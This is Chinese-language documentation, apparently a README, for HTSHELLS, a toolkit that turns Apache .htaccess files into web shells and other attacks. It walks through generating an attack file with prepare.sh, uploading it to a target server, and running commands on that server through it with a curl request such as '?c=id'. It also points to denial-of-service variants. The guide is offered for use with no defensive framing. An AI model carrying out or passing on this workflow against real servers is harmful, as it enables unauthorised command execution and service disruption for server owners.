HTSHELLS 技术文档

1. 安装指南

HTSHELLS 是一个通过 .htaccess 文件实现的自包含 Web Shell 和其他攻击的工具集。以下是安装指南：

• 确保您的 Apache 服务器已经安装并正确配置。

• 从 GitHub 下载 HTSHELLS 项目代码。

• 运行 ./prepare.sh 脚本来生成 .htaccess 文件。例如，如果你想生成一个 PHP 基础的 Web Shell，可以运行以下命令：

  ./prepare.sh shell/mod_php.shell.htaccess
  

  执行后，将生成一个 .htaccess 文件。

2. 项目的使用说明

• 将生成的 .htaccess 文件上传到目标服务器的特定目录中。

• 使用 curl 命令或其他 HTTP 客户端来执行攻击或获取服务器信息。例如，如果你上传了一个 PHP Web Shell，可以通过以下命令执行命令：

  curl -k https://target/uploads/.htaccess?c=id
  

• 根据不同的攻击类型，选择相应的 .htaccess 文件。例如，如果你想要进行拒绝服务攻击，可以选择 DOS/ 目录下的文件。

3. 项目API使用文档

本项目主要通过 .htaccess 文件进行攻击和信息获取，因此没有传统的 API。以下是一些关键文件的说明：

• prepare.sh：用于生成 .htaccess 文件的脚本。
• .htaccess：生成的攻击或信息获取文件，需要上传到目标服务器。

4. 项目安装方式

以下是项目的安装步骤：

1. 克隆或下载项目代码到本地：

   git clone https://github.com/yourusername/htshells.git
   

2. 进入项目目录：

   cd htshells
   

3. 根据需要运行 prepare.sh 脚本生成 .htaccess 文件：

   ./prepare.sh [module.attack.htaccess]
   

4. 将生成的 .htaccess 文件上传到目标服务器，并根据需要执行相应的命令或操作。